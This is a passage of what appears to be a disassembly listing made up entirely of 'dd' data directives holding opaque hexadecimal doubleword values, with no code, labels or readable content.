		dd 0B95FADh, 915333ACh,	8EDBC173h, 20F41907h, 3CE0CDA7h
		dd 858D25h, 0D8B85A40h,	0C7EC1C54h, 1FE8163Fh, 6600D66Dh
		dd 2F439F5Fh, 67DC00B0h, 85E1289h, 5C009DEAh, 93054D0Ch
		dd 8D84CAh, 0DFB5577Eh,	2F99F603h, 8AE3B3Fh, 0D4A45BB2h
		dd 508E553h, 9675F8Eh, 17B8046Ah, 38A0EA00h, 11A27404h
		dd 66B9300Ch, 6B45220h,	781828C0h, 2CC3907h, 6C5EC17Ah
		dd 37C0B36Fh, 0DA0F4745h, 808F4C2Ch, 75898652h,	8CAC3E5Ch
		dd 0EA006558h, 0E04220F3h, 8EE4A35Bh, 9B25B21Dh, 0B4A01700h
		dd 744EF69h, 8D439598h,	7DB7B0A1h, 20C01465h, 39CC3A5Bh
		dd 60742930h, 834C6020h, 0C84924Ah, 957180FEh, 290008E0h
		dd 0E7C8D036h, 9514E85h, 6C91EB2Ah, 0EA74F855h,	0C0EC98F1h
		dd 0D9BB6331h, 4700A83Bh, 246A64F7h, 3554857h, 23D25F91h
		dd 0D198B2A6h, 0AF3D0607h, 81A4D48Dh, 9C63C628h, 86D658h
		dd 6D827B60h, 0E2B9DD5h, 3874EB1Ch, 0D898D1AEh,	0FB3013ABh
		dd 6C4778DAh, 79290078h, 8D821007h, 0C41F9826h,	2EC19609h
		dd 0DEA34746h, 552C7E0h, 7FE0E37Ch, 5F884581h, 0E79100AEh
		dd 0FDA41D26h, 1AD0A202h, 0A1028374h, 5D522BF4h, 586A82C4h
		dd 8100C3CFh, 8C6E1C4Ch, 78ECC136h, 0E48BE528h,	4C0030D2h
		dd 9E134E47h, 84F2FAh, 51D22521h, 70189C1h, 568358C0h
		dd 0E46A0205h, 0EDAE58EFh, 0D2409831h, 1C8C501Ah, 59F0AC22h
		dd 0E376DB00h, 0A6CABB6Dh, 5C540038h, 16AD9C3Eh, 1403E6DCh
		dd 0CC150ACFh, 0A7601C04h, 2191F32Eh, 0CFEA5DF8h, 51377D00h
		dd 6B49E3D8h, 3D177894h, 33E361Dh, 2A902028h, 1DE8B332h
		dd 7C3F34Ah, 90023B30h,	2247D7A9h, 1001BA03h, 8EE8FBA0h
		dd 4F911271h, 7835003Ch, 0D3FCAA28h, 32E8EF63h,	0A7890B9Fh
		dd 6880C849h, 0D242FA30h, 0BD007B74h, 627EFF56h, 541DF965h
		dd 18A8CCA1h, 60DB01C0h, 0AE49B2ABh, 0CCD200A8h, 51CEB45Eh
		dd 81E16F0Eh, 8CFBA7h, 612A0A4Ch, 0B087FE00h, 0D2C0555Fh
		dd 0D5161869h, 6E098951h, 818A903Ah, 95AE635Dh,	0D459F0BDh
		dd 5220B5C8h, 9200A0ABh, 32BC0109h, 0CA83193h, 590C03B7h
		dd 0B07C504Dh, 0C561C05Eh, 0EC1228Dh, 1F48B490h, 52772E28h
		dd 0B1619900h, 6284938Ch, 2F0C4963h, 49FFA490h,	0AD1D0BFEh
		dd 7741AEAAh, 0DA9785B2h, 682B8452h, 18BF5F30h,	39E98623h
		dd 0E006CDBh, 0FD5FBFEh, 0CA6A84EDh, 0CD7A28h, 9479D1F1h
		dd 0C73FD082h, 0D2C3805Ch, 8C27EDBAh, 0C2F8A820h, 4E264h
		dd 3C9A16CEh, 6121E848h, 0AA8FE901h, 0DFE7D2Bh,	3BBBD3C0h
		dd 1AA931FFh, 0EEB68480h, 1B0052A8h, 0C94AAB4Eh, 0AF9E0026h
		dd 0EC972731h, 0BE66804h, 0C39D1F0Bh, 10D4898Ch, 0E24038h
		dd 0EFC66CD8h, 0FB5DD73Eh, 76E50C00h, 575E2704h, 0D5812479h
		dd 1C5812Ch, 0EC265475h, 0C90017A4h, 502F6955h,	7D025765h
		dd 0FA9C12F5h, 51D007BEh, 0C82EE087h, 100371D6h, 75DF8C6Dh
		dd 5B7DA193h, 0C28DC450h, 503490FFh, 3B3452h, 0F0DB0B9Fh
		dd 7E1B829Ah, 13A4DE24h, 989C823Ch, 605A80D6h, 989AFDACh
		dd 4CB30050h, 279FC235h, 7E008F7Ch, 0CA6BC967h,	48E6AF0Fh
		dd 0B6E120B0h, 938C4C9Ah, 8E68187Eh, 5C9F499h, 0F020E738h
		dd 352103h, 0CA95E842h,	8ABD9806h, 0B76F0E00h, 0CE925667h
		dd 0C5E407CCh, 24A851C7h, 62209169h, 2342396h, 0E7D591F5h
		dd 68C468C9h, 722100F9h, 0D3C274CFh, 13035D7Dh,	7A70F040h
		dd 0CBB8B0C9h, 1A85F6Dh, 0AF1904A4h, 168AD8D3h,	768D7700h
		dd 6F436C54h, 92C00046h, 0DE99B3A9h, 490F4070h,	0C22777Ch
		dd 0FF71AFh, 436E5B2Bh,	0A47155B4h, 8D9A7500h, 0DEE03BC3h
		dd 0CBB301CCh, 89E4CD88h, 6E409D4Fh, 0C0BFC54Ch, 0D7B109DAh
		dd 1890D14Eh, 0A880F01Bh, 345B588Dh, 66AA84h, 69EA1EF5h
		dd 0B7EA38h, 27EF6E31h,	89CEEE1Bh, 37FBA300h, 0C02FFA85h
		dd 0FFB513F1h, 53106064h, 60C7044Fh, 4AE034E5h,	5B4E66h
		dd 0C169BDDEh, 17224DEFh, 810A507Bh, 8472D9B6h,	0FE860A43h
		dd 0A7FF0E89h, 2D80B195h, 0D99F6CD7h, 88206C98h, 53840003h
		dd 0E40D223Dh, 895025DAh, 7C00D33Ch, 0F9E9D1E0h, 3B43ABCBh
		dd 4107C599h, 5CD867Eh,	91944A85h, 920660F4h, 4745BFAh
		dd 516F4700h, 4578898Bh, 643A0739h, 51B7B9F7h, 242827AFh
		dd 0AA3C29CCh, 0C0CD5Ah, 5D5B65EAh, 6C3DD5h, 8FD2FFFAh
		dd 9F801532h, 95BEFB05h, 94040B1Ah, 5490230Eh, 265DAEh
		dd 0A1505AE8h, 98647CACh, 2B6AF3Dh, 0E6D8BD72h,	50104C86h
		dd 0DF4032h, 0A553B743h, 27211263h, 0F8DB4E00h,	0DCAEFCF5h
		dd 12ACE84Ch, 9B2D25h, 9182FBC0h, 88045836h, 898E92F4h
		dd 5E8DA0D0h, 0CBBC039Bh, 222F4A06h, 0BE811912h, 54404441h
		dd 89D85B10h, 0E9D00C3h, 0A6E7F706h, 5700AD97h,	3279395Dh
		dd 4CB7283Ch, 0F900F019h, 0F30CD2BAh, 84189B45h, 0BFB89027h
		dd 0F814132Eh, 0CD940EFBh, 40822D6Bh, 48481CA2h, 0DF0001E9h
		dd 0C6494525h, 1CB176C4h, 80C789DBh, 0F0B6E6CEh, 1F09A8FFh
		dd 19CC8CF1h, 0B180CA10h, 7338E4D0h, 0DE028375h, 0CB7170DCh
		dd 0EEA441C5h, 0BB03B072h, 0F6B879A2h, 87D0A3D0h, 356C8400h
		dd 752A5FC8h, 4218938Dh, 0D0642EF8h, 0E8180F00h, 0DAC0742Dh
		dd 0D4550020h, 4D2291B8h, 2C04E58Dh, 6B3DFABh, 0A2394702h
		dd 0C0C4E0CBh, 0E17E95C4h, 6F4C2C00h, 77B39493h, 0E62D0A68h
		dd 4070FAB4h, 5BA669A8h, 0CD5A49C7h, 1E095C10h,	89AE3CFAh
		dd 4218D9E0h, 75602873h, 1CBACB50h, 0EEA91DE4h,	17024E8h
		dd 68D720F1h, 468034C3h, 0A04CC85Ch, 79A56CBh, 17B99849h
		dd 40FCC7CDh, 0A9096CFAh, 0B8C0F4ACh, 0FFB6A69Ch, 63240261h
		dd 515BA39Eh, 1F14F04Ch, 0C78434AAh, 0E7AE106Ch, 2E02CEE2h
		dd 5A74A4D7h, 7B5F9090h, 361F0332h, 0BB2AD72Bh,	0E0A84CA0h
		dd 89889F5Ch, 14748B84h, 4C5D4C88h, 52A0C5h, 0B2F2590Ch
		dd 0DC07AD98h, 27AE92Eh
		dd 3D2D870h, 53970167h,	0EBCD76B9h, 71422A2h, 5434400Ch
		dd 0E223E810h, 0E6C63DCCh, 15BB4100h, 99516CB2h, 474DAE04h
		dd 58A0392Eh, 34579E4h,	0E8734E2Fh, 0C1A1688Ch,	0B5EFC4B0h
		dd 244C1602h, 40CB2BE9h, 40289184h, 747AA752h, 49253E0Fh
		dd 0AA9D6051h, 4DCA7B23h, 0D8804A4h, 48D9B880h,	0B3EC5Bh
		dd 0A9DDD00Ah, 716EBE2Eh, 0A236B000h, 1E6CA888h, 8D3F0077h
		dd 0C79CF90Fh, 6700EAC0h, 0DB71F665h, 276EDB0h,	7EF4313Fh
		dd 56E055BCh, 837282A5h, 0D6A03E7Ch, 3200D917h,	7995C842h
		dd 44E246Dh, 0C119DB22h, 877C803Dh, 48C1D350h, 3B11CA1Fh
		dd 0D17800D3h, 0FB6A7C08h, 0A50C7D13h, 28BD3AE5h, 0D39B0FF3h
		dd 9320C154h, 7F9199ECh, 0D5163E03h, 31A5F05h, 7084B841h
		dd 39003B13h, 3561F285h, 2CC55ADAh, 0C871956h, 0E63021BEh
		dd 0BD187EFh, 2EA0711Ch, 15B45D4h, 0AE9EE8FFh, 0F02FADF9h
		dd 94004C73h, 0A5333405h, 3174B86Bh, 0C4C08FC8h, 0D71D1031h
		dd 6DDF28EAh, 0CDD21C98h, 8AB0623h, 40009169h, 3343E5EEh
		dd 2A32098h, 648DDC71h,	88A0BAB6h, 27F9629Bh, 95B03900h
		dd 2D5D352Bh, 88450FD5h, 208EA6C1h, 6B9E6CC1h, 913FFBC3h
		dd 0EC41636Ah, 779800BBh, 0F1E34B43h, 3E0F02E1h, 40750A95h
		dd 9A070C64h, 483D00EEh, 0B16796FDh, 5003E08h, 1E7ACA25h
		dd 765195Ch, 97C7F202h,	0D4ED4049h, 521B6ED7h, 0A06190F8h
		dd 74C9A2Eh, 0DD16E8CCh, 0D3D5C01Eh, 3F7FFE56h,	0EB790E02h
		dd 4449DAF1h, 0B867681Ch, 0E0B041F0h, 3DB98F6Eh, 0B6F42136h
		dd 0A1600546h, 4CD10186h, 5F7B01ECh, 3A06E471h,	12D86001h
		dd 0D18C4353h, 0C3ABA09Fh, 30321545h, 41E69800h, 140ECF3Dh
		dd 102B0390h, 3BCD60EDh, 0F8D986BBh, 4528802Dh,	8B6DD336h
		dd 359E0F0Dh, 0CB00289Ch, 6370BA6Fh, 5007D2FCh,	5451BFF5h
		dd 0A15CA553h, 8051C253h, 6C42ED3Ah, 7884CF3h, 0A69050D3h
		dd 2322901Ch, 3002D58Bh, 0F4CEDB6Dh, 0F52084C5h, 8CB86822h
		dd 40E3D39h, 0B20FAD59h, 583B3040h, 9807F5h, 0D23A086Ah
		dd 0ACDD7B05h, 0C98B9201h, 34062394h, 41659C20h, 0D4ADC78h
		dd 0B6C1E80Eh, 0B25E6028h, 4665F8Dh, 2407BFF0h,	2868972Ch
		dd 0DB289787h, 0F0E80EC0h, 1484246Ch, 0C31E0CB4h, 0B0010221h
		dd 9373DEBh, 83F228CFh,	0A41CBB68h, 375D8C00h, 0E014F1Ah
		dd 0CA276EDAh, 0B061C75Bh, 0CC89D440h, 9C8849BFh, 7BB1D602h
		dd 28462F1Eh, 6EA0C213h, 0E0F2484Fh, 9319E32Eh,	9F5A00A7h
		dd 4F9DE2BAh, 1700BC31h, 0E7C5A813h, 0A0D66B87h, 75F4864h
		dd 0CD9C28AEh, 4F04411Eh, 132420F7h, 0ACBC1A54h, 0B016D800h
		dd 0EF3A7830h, 3060A220h, 0E8B0A8h, 0A3C3EF4h, 0DFF20526h
		dd 3C9649h, 2B9B853Bh, 9C74DA2h, 0CE43AD10h, 77C19C81h
		dd 0FE708A31h, 299FC836h, 3D19DFDh, 0A0CB0A4Fh,	4ADF441h
		dd 0B0DF0185h, 0D0A44052h, 1E2433D9h, 9C68131Ch, 0FF87EEDCh
		dd 3850E239h, 3A87A2D6h, 13807534h, 1B0E33A1h, 3B00AD76h
		dd 0BD09EA96h, 242590B2h, 9B66D08h, 0B820D784h,	78963EC0h
		dd 0A2926424h, 0EEFD5200h, 4C830607h, 0F7C9B043h, 0A1152890h
		dd 0BF61FC1Fh, 54838A80h, 26D4DBC6h, 181D92h, 463A0BAFh
		dd 804DA40h, 0A177BFEEh, 9E6BEB81h, 9F1F8050h, 0F9EB006Ch
		dd 7B6ED684h, 24F5BAD3h, 0E02CD11Ch, 75802481h,	4FCC783Ah
		dd 21AA00CBh, 266AC19Ah, 0D600D8B9h, 27AC5D41h,	730E5E61h
		dd 14C91004h, 627A7231h, 14282D3Ah, 8EFC1BE4h, 68274CA9h
		dd 0F5BF0138h, 5A16A87Dh, 0F787D855h, 0C070D94Dh, 11D466C3h
		dd 5854B242h, 0EBB01CBDh, 6F07498Fh, 4624968Ah,	8C04ED70h
		dd 3770012Ch, 0FD7C8343h, 2006210h, 24C8D877h, 0BB2C6059h
		dd 0CC09023h, 0BC1043B0h, 0ED0FDB79h, 607C66F8h, 78DA8AC4h
		dd 9BFA00C0h, 0E5F08BEh, 28EEDC29h, 0C8983449h,	924B8469h
		dd 36E9C052h, 80F5025Ah, 475E632Eh, 0F8D43073h,	68992ADAh
		dd 5C330088h, 0AD009B7h, 1B2C8A3Ch, 6BC1C485h, 0CC5183E2h
		dd 80C29097h, 60CD2968h, 1C492411h, 0F45415ACh,	0BF1726h
		dd 0E333B307h, 26039745h, 60AC3476h, 0EAD4819Fh, 941FEC33h
		dd 49EC36Bh, 690039D8h,	1EB39822h, 9352CBh, 5660E35h, 34C5BB0Fh
		dd 4B2D0202h, 867B3D0Ch, 0F7938B0h, 0F0AEACE6h,	8AE2F120h
		dd 8505C374h, 39EAE38Dh, 0BA71E7C3h, 0D09C9B35h, 2B38F21h
		dd 0CEDAD996h, 24C9E71Dh, 5068EAA0h, 8030949h, 0B0866A73h
		dd 0A4FCA016h, 305F4988h, 8CED9984h, 0A924969Ch, 4C9E6CCAh
		dd 65900B00h, 7703759h,	718F6C0Eh, 28C13318h, 605A19D9h
		dd 0FC07B7B4h, 984773FAh, 0A893F0B0h, 3E533C03h, 0D8229007h
		dd 0C12EE4C0h, 6735ACB0h, 3E5116C0h, 66FBC30h, 0BE7B01D3h
		dd 63D13113h, 60FDC509h, 0D2F8AAF0h, 38A8456Ah,	9F31E930h
		dd 872A0BC5h, 2890A197h, 0B88190A4h, 0C0DBC4E9h, 0B1158D43h
		dd 6FCA00A4h, 3E2BF360h, 0A04C2600h, 0F481B8DDh, 54590B31h
		dd 0D8B044F2h, 1E446137h, 0FD30723h, 0A250AD6Ch, 0E4A940E6h
		dd 375C6607h, 8D13D0D9h, 74008C3Eh, 0FD85EE0Ch,	28EB964Fh
		dd 0E8DBA9h, 0C2A06928h, 619CEF5Eh, 4AEA3Ah, 0F1F417BEh
		dd 0BD0970Fh, 4D114135h, 0A913DF00h, 52032795h,	233CBD1Bh
		dd 0F23000EEh, 0CCA0F8ABh, 0AD2CB654h, 650CB311h, 12BE585Ah
		dd 0FAE84A45h, 0DE88FD00h, 0F61BCD8Dh, 9D083051h, 3A292E70h
		dd 6D6EDC00h, 2D160136h, 0BB7A8Bh, 0C9B4D372h, 0EE17D7ADh
		dd 0F6F9300h, 104BFEF2h, 0B11A0007h, 3F742C8Ah,	0B861920Ah
		dd 16296129h, 0DCEBA080h, 0B404D25Ah, 7CE5900h,	0A9A5837Fh
		dd 89971FF1h, 2DE70E9Dh, 379C3898h, 0B518E5B8h,	0CC163FFh
		dd 2CB35669h, 5593A200h, 12ED4340h, 0F016D7Fh, 0F0E5C87Bh
		dd 0D220A563h, 6B8E00CFh, 0DB1A50F7h, 0DC056628h, 0ACCD0C73h
		dd 7998280Dh, 5EB1FF4h,	5AA90957h, 0F435C069h, 0F20039BBh
		dd 6563779Ah, 5826F64h,	0E3B41419h, 56C0456Ch, 61DC474Bh
		dd 89650057h, 6E002E7Fh, 0C43D6009h, 7722F5C2h,	0D4DC0CD6h
		dd 8B31DF55h, 0D5FAF400h, 6FE083F6h, 659F0748h,	6EF111CFh
		dd 4E9AD080h, 5F006A5Dh, 0DC6BFA82h, 634D345Bh,	0EC9409Bh
		dd 0D6E4C900h, 5D6F055Eh, 965B3FE1h, 60456501h,	584E3198h
		dd 0CA1DF780h, 2104C06Dh, 0BA40D13Ah, 0D88285FFh, 0A36E3400h
		dd 6B2B1F8Bh, 20D6A0EFh, 0EFC7127h, 0D03CE6AAh,	4010F189h
		dd 80E6DF7h, 0C3334CE4h, 1C49DE5Bh, 40BBD1E1h, 36EF3025h
		dd 38921559h, 0E51C0700h, 5BDEB8C0h, 0BC18A08Bh, 889160h
		dd 41350CDh, 560C3EA1h,	0C043928Ah, 91A3058Ch, 46F4106h
		dd 24345DC4h, 0A0498C20h, 0A19E003Eh, 0DF233BC3h, 5F619814h
		dd 6E4C9572h, 3386822h,	0D825F381h, 0FC451D73h,	0C102979Ah
		dd 4FB0ECC6h, 938760F8h, 0C03652F4h, 0C910F118h, 5CFAA3CEh
		dd 0EBB2600h, 9FACFA99h, 0B3EE0CB4h, 82D9D148h,	0CC05456h
		dd 409A6156h, 153458E3h, 242F7203h, 10F8F12Ah, 54018D78h
		dd 1BAB37A7h, 0E180595Fh, 661ABD8Ch, 0BA0047AEh, 3C404912h
		dd 0A9EDF05Ch, 0F2E45AA0h, 526C00C0h, 72703EC2h, 0A804C6CEh
		dd 0C9F753C1h, 375B448Ch, 0C2C914F0h, 888074E8h, 0F76E2ADh
		dd 4C8B5700h, 0EF3CF65Bh, 0C80A0ADBh, 66644D5Ah, 9A3C79E9h
		dd 0D83780A8h, 71FFD00Ah, 8DBC38E8h, 61AFA105h,	0D4E030F8h
		dd 7668CA0Bh
		dd 52189471h, 7FFCC2E1h, 840C9989h, 806841CEh, 0CF8C792Ah
		dd 0BFA940Ah, 0FF04FC2Bh, 8201EF5Dh, 32D868E7h,	0BF9F0020h
		dd 146E2955h, 0A33214E0h, 3080D811h, 0BBD66418h, 9EE25205h
		dd 86002AE3h, 0A37AADC4h, 0B2D025Dh, 5AD4724Eh,	5A05C8Fh
		dd 33C05915h, 40D0A100h, 2214D2C7h, 40F1F60h, 310C0BFh
		dd 48C91958h, 69CF010Ch, 0A2213Fh, 95AC8879h, 0B5A1057Bh
		dd 564719C0h, 0F19B50h,	0CE5D82CDh, 5437ADCCh, 5300017Bh
		dd 0A6457005h, 68F8EEh,	239D8A1Bh, 0C75802EBh, 5F0741Fh
		dd 8040B040h, 0F004B392h, 3E1B309Dh, 47E61D60h,	9F570900h
		dd 389C3A3h, 0F940FB8h,	4BA0FB6Dh, 0F32F7F9Eh, 5790B00h
		dd 5D6E15B0h, 1DA1070Eh, 805134B4h, 240AEB2h, 9DCD3700h
		dd 0B05B067Fh, 0BD9700C0h, 0D5C73DA7h, 0D0C657D3h, 8F84Ah
		dd 56B53103h, 5C34D911h, 9772FC00h, 4E8D41B1h, 0D68000BAh
		dd 40CBFE69h, 530017D4h, 402A362h, 6D6058h, 0E1F982D0h
		dd 0AF81033Bh, 5111C60Ah, 59008C44h, 299EBDC3h,	22F81DB6h
		dd 667703B4h, 0A80AAF06h, 8041F09Dh, 4794F207h,	59B54F30h
		dd 8C54547Dh, 3C311406h, 598270FBh, 0E08CC989h,	25666620h
		dd 7F60B8C9h, 0A6830748h, 33AEA81Ch, 21005945h,	0BCF35577h
		dd 4B8A024h, 87DF7E07h,	931880D9h, 28FE3320h, 136F880Ah
		dd 2F8154C9h, 0EC48A67Ch, 0FC45EC41h, 1A051A6h,	0F18F1F94h
		dd 0CD76D8D6h, 322CA005h, 90400DA8h, 0C1C0F775h, 0E81600F9h
		dd 0DC72F5B5h, 6831FCD9h, 0B1605820h, 3FA991h, 36F0352Bh
		dd 7BB02F30h, 0E3D01E51h, 88CEC43Bh, 1B48903Dh,	0F105DD33h
		dd 86AD7DD2h, 89360C00h, 3EFAB2Fh, 0AC07056Fh, 58735B76h
		dd 9CFEA62Ah, 31E7A830h, 0FCAE154h, 14EE019Fh, 9C304FC9h
		dd 2284CB69h, 86F802DBh, 2484D0AAh, 28DC404Eh, 690AD9h
		dd 2EA29079h, 0EB07648Ah, 3A05E190h, 0ACA0887Bh, 0AACCB81Eh
		dd 64DD3955h, 8058085Fh, 19AFCA16h, 83144C01h, 441CEFE1h
		dd 593EBC40h, 2AE92494h, 74C18C0Ch, 0B491DDD9h,	35AE9900h
		dd 1886863h, 9EB06F9Bh,	23424B98h, 313870CCh, 0CF4900FFh
		dd 7015B7F6h, 9DF02B8h,	0E634C73Eh, 995E78A6h, 289BB0E0h
		dd 8DB57F88h, 0F8C94D4Ah, 233DAE8Ah, 1EAA0043h,	5331F409h
		dd 1688B8D3h, 170CAFAh,	0A8068A2Eh, 0A24180D8h,	7AB80CC9h
		dd 768D65E9h, 4F8E00F1h, 518758C5h, 0B090767Ah,	0E900F3FBh
		dd 66D814BFh, 0E80A7C48h, 7790191h, 0AA9426FDh,	6C2381h
		dd 0B9331796h, 865BF8h,	3B790676h, 8A63CFA9h, 0A18C1491h
		dd 0F1491E2h, 0BA9FB007h, 0CB1AC0DEh, 0E59AAAF0h, 0BC887700h
		dd 0B80574C3h, 0F22B7C15h, 3198A4E1h, 9DA1C7A5h, 2B34244Ch
		dd 0B3C0D500h, 15442473h, 4E548DBh, 10BE3411h, 268CEBBFh
		dd 57006641h, 4DA16DE8h, 39829972h, 6CD6FFBEh, 1507D700h
		dd 326B77F4h, 0AD8D5700h, 0B02461FCh, 2884933Ah, 0BDC0005h
		dd 0B5517237h, 0E7605006h, 198D1E79h, 4CF6EBACh, 5B7A20F4h
		dd 49409B00h, 1FFABCEFh, 8A220088h, 0A095D4D6h,	11007E39h
		dd 0DCA1E016h, 9147999Dh, 0EDA40088h, 1E2C6B48h, 0F2BBB400h
		dd 0F53CD120h, 0D990C976h, 7C6F5C10h, 20E0C903h, 8546372Bh
		dd 77F5D980h, 0F9480090h, 0BCA681CCh, 9D58B0B4h, 0A0502950h
		dd 0AC24C108h, 0F029B6h, 70711809h, 7D1DFAC5h, 61DEC1C4h
		dd 9350E5C9h, 0B8788028h, 404701Bh, 1838C775h, 4D8898B3h
		dd 9DBC334Dh, 0AF41FCA4h, 0EB102046h, 0C4017757h, 0F4C7C20Eh
		dd 0D980D0D9h, 6A5DEAC1h, 86007907h, 1403359Dh,	0E6FDDB67h
		dd 0A891CAEh, 4954EC41h, 5485D209h, 3030889Dh, 0B17CA400h
		dd 15D06661h, 60515416h, 0ECD558CFh, 4C45A5C8h,	86835BC0h
		dd 895201BEh, 981ECB7Dh, 0F7EC4363h, 0EC44B907h, 619FF597h
		dd 88378185h, 1416BDCh,	13070BC7h, 624F2055h, 1371330h
		dd 0FD4C0470h, 0E4A25248h, 3F80E000h, 0DC351A98h, 0A00D876h
		dd 0A688B3E7h, 9827A124h, 5B7420F4h, 0B94BD800h, 9B6E106Dh
		dd 26ED00C1h, 0AAA6F3DBh, 0AD768386h, 0C089752Ch, 417C263h
		dd 450A4A98h, 47F9404Eh, 358E4BDh, 32963E1Dh, 0C0DC2ED5h
		dd 45AC9A74h, 150AA524h, 0E0813134h, 5FE813BEh,	6F8CA6CCh
		dd 1009973h, 44F634FFh,	0D755AB00h, 523FBA36h, 17217EACh
		dd 627FDFB4h, 78C49D38h, 0E227F713h, 7601F716h,	0C8544C2Ah
		dd 3A6C76C4h, 1C30C68Bh, 4FA1DF78h, 28539524h, 7E40BD9Dh
		dd 4E5188FBh, 267898E0h, 0C0DC492Bh, 2DD4FE85h,	0A7EAB14h
		dd 8060CFA4h, 0EEA835D0h, 8B7C0022h, 3B4DBF85h,	0E0011451h
		dd 7BAA7FBh, 13012CBh, 0E270916Fh, 0E4A0C5DBh, 0B8B04350h
		dd 7D4FE000h, 4E16B1C0h, 0F09B758Bh, 4C5A017Bh,	90AA3238h
		dd 634024E4h, 0CBEBCA0Fh, 2A292055h, 147D0A0Dh,	0FCA2CCA6h
		dd 0A8248358h, 6E8E436Ch, 5DA77E80h, 0AF52B300h, 67868ABh
		dd 704058CCh, 2B6F8311h, 7B0B842Dh, 6EC410DCh, 11F9005Bh
		dd 396AA889h, 64908B01h, 0E80C7629h, 0DBB0C787h, 0A0FFF600h
		dd 703D07BDh, 2D2A58h, 0AA0882F3h, 708CAF56h, 0D9CDA837h
		dd 0E4967170h, 25360072h, 32D90C70h, 5B49AC0Dh,	0FC0A1728h
		dd 0D1DBD061h, 0E5B9A450h, 0E44B3D75h, 96DF8400h, 8E8802Bh
		dd 2816D472h, 8423A377h, 2FBC0CAh, 3F6F000Ch, 0F1C74A89h
		dd 9900B7A0h, 0F73C6A4Ch, 9152071Ah, 0B91302C8h, 7D04650Bh
		dd 62D270A0h, 0D60451E7h, 9E14E0CCh, 5D8C2F4Fh,	9DD007Ch
		dd 946C423Fh, 0E5D303A5h, 2FC2CC7Dh, 669D87A9h,	0A7506538h
		dd 0E0D819C6h, 0EF210473h, 0A446D551h, 381F9A08h, 0E5402308h
		dd 7E81403Dh, 234F69Ch,	606D83A6h, 0E0E690ADh, 0B117C09Bh
		dd 0D4CBC60h, 0EC994Bh,	15BA7A2Dh, 7832887Ch, 0E4A190B7h
		dd 0A30A00CCh, 0A052D025h, 7F0BE69Ch, 4779D5Fh,	14900930h
		dd 0B1A7293h, 9CE937DCh, 0D2F6EC03h, 4107803h, 9EA58C1h
		dd 0CA83C7D8h, 0F8B19464h, 63896B90h, 629F4018h, 0AEE67177h
		dd 96C5FB00h, 0B54F3CFFh, 89D499A9h, 0F4489CE1h, 0D5025BF9h
		dd 9D8D8A1Fh, 161448CEh, 0DAAF38EAh, 0F1800FEh,	3080B9A5h
		dd 0D97C9882h, 7DA09F00h, 0C47E0839h, 0BDAA14A2h, 547554D8h
		dd 3A9DCC78h, 17C0869h,	0E9A8EF47h, 0F531507Dh,	0F2E0F4FDh
		dd 2BDFBF1Dh, 540DA4C2h, 5D8066D7h, 7827041h, 2C5A235Dh
		dd 0E5B22A00h, 370A6411h, 83180032h, 0E6FC6651h, 2B03023Bh
		dd 475A63B2h, 0A88118A4h, 786A1D1h, 0C5A19200h,	2A845ACDh
		dd 265009D7h, 0EC3087E3h, 0A0B9D9EBh, 0E247CE00h, 0D726C0h
		dd 8AB91FB0h, 0D9747C27h, 0FF74DF77h, 24EDE44Ch, 6E4778A2h
		dd 7239320h, 0BC6D24A7h, 608CC8E8h, 84903F93h, 116B4300h
		dd 0EB9645C1h, 5D044899h, 0CFC8A405h, 784D813h,	99CB20B8h
		dd 0F130909Dh, 1D7C43h,	55617EFFh, 0F6F3A70Eh, 648088B2h
		dd 641EA432h, 824F90D4h, 2657E054h, 0F14452Ch, 0A67CF6D3h
		dd 7D4C172h, 89CC38DCh,	0F44848A3h, 71450106h, 14F97CD4h
		dd 0FA6AC474h, 0B8829925h, 1439B7E0h, 78A386DDh, 8DD46A0Ch
		dd 37001E62h, 51B309CAh, 51A6E9Fh, 4A8CA6B7h, 4510D985h
		dd 9AB4D09Ch, 0E800D2ABh, 8C9570AFh, 3D3FD5h, 0A02A60B5h
		dd 2ECAEAA1h, 10961D73h, 21D186E2h, 0DC852C63h,	6717F9Ah
		dd 2B21AA27h, 180C05BCh, 989E804Bh, 76E9F49Ch, 1D0B00BCh
		dd 30C969E2h, 0BF029A79h
		dd 3B7E68D2h, 0BD18C50Ah, 8040D6B1h, 82C2648h, 0EA824Fh
		dd 2BA0B860h, 501510E8h, 0B808DCh, 8D45A2E3h, 277F82B0h
		dd 0D418C6ECh, 891A786h, 60C21592h, 11AE2030h, 0C70177D3h
		dd 51826847h, 8C20FAB6h, 8470932Fh, 90A7CEBCh, 0BF9D0F20h
		dd 80D66900h, 9EA2F7DBh, 3DACE001h, 0A3C0EAAh, 0E9C3B0D1h
		dd 0B430B4B3h, 0C8950203h, 995CACBEh, 0F098A88Bh, 0A0A4A207h
		dd 69B19D33h, 0A90E880Ch, 9BD40006h, 0D6C7188Ch, 0FCB134B5h
		dd 0A8B84BC3h, 0B1683C0h, 46BDB771h, 54937C01h,	0DEAAC076h
		dd 0A82C32EEh, 0F580E408h, 0F7F1E6C6h, 5D2C3F3Ah, 6240AC00h
		dd 514F9D80h, 0A86614A2h, 1D009775h, 44B2F088h,	0B81B4E28h
		dd 43C4914h, 61803A12h,	40DC176Ch, 0C3667850h, 704D0800h
		dd 0F74BD03Eh, 29130041h, 0FCEEE87Bh, 8505C9E5h, 0DB2F6824h
		dd 19B0088h, 4BC0E83Dh,	327108A7h, 7F18120Ch, 841BF098h
		dd 9D14BE7Eh, 2F86405h,	0FC0ABFFh, 80B4C349h, 2D70172Ah
		dd 1019AFF5h, 2D4AED1Bh, 66C009Ch, 6DDC0B86h, 7C2EE33h
		dd 0D656919Dh, 62A9117Dh, 12FCE44Ch, 0D0AF4E2Ch, 44545109h
		dd 7D2B7008h, 64DF0223h, 7379FC99h, 0D900F465h,	5DD3C4C0h
		dd 0E6C50038h, 22827736h, 0E5010998h, 55EA1408h, 824FA9Dh
		dd 2DF70566h, 0C0129B64h, 53A6364Ah, 0BB6E3000h, 0D2EB03A4h
		dd 0E11C00F0h, 712514A7h, 0E0F2E8F8h, 8A0E9CF0h, 1E1FA160h
		dd 18F597C7h, 8BC09FE4h, 9AAC64h, 957FD89Bh, 0BF6256E5h
		dd 5E013400h, 0A471DC3Fh, 37783Ch, 79B4168Dh, 3921E470h
		dd 1841A130h, 1CD1955Eh, 80B5E22Dh, 26A59E43h, 2B01282Eh
		dd 0EF687808h, 5050C30Eh, 10519Ch, 648DCA24h, 6EF2FB3Eh
		dd 9F4558A8h, 3F5FDE03h, 0E78DA37h, 48516381h, 0A6AC3B80h
		dd 2D005E93h, 5C5ABE2Eh, 609CB5CCh, 7FA2915Fh, 0BB02C699h
		dd 66BC200Eh, 0ABA060CDh, 0F87B06D9h, 68181AF4h, 5E519B11h
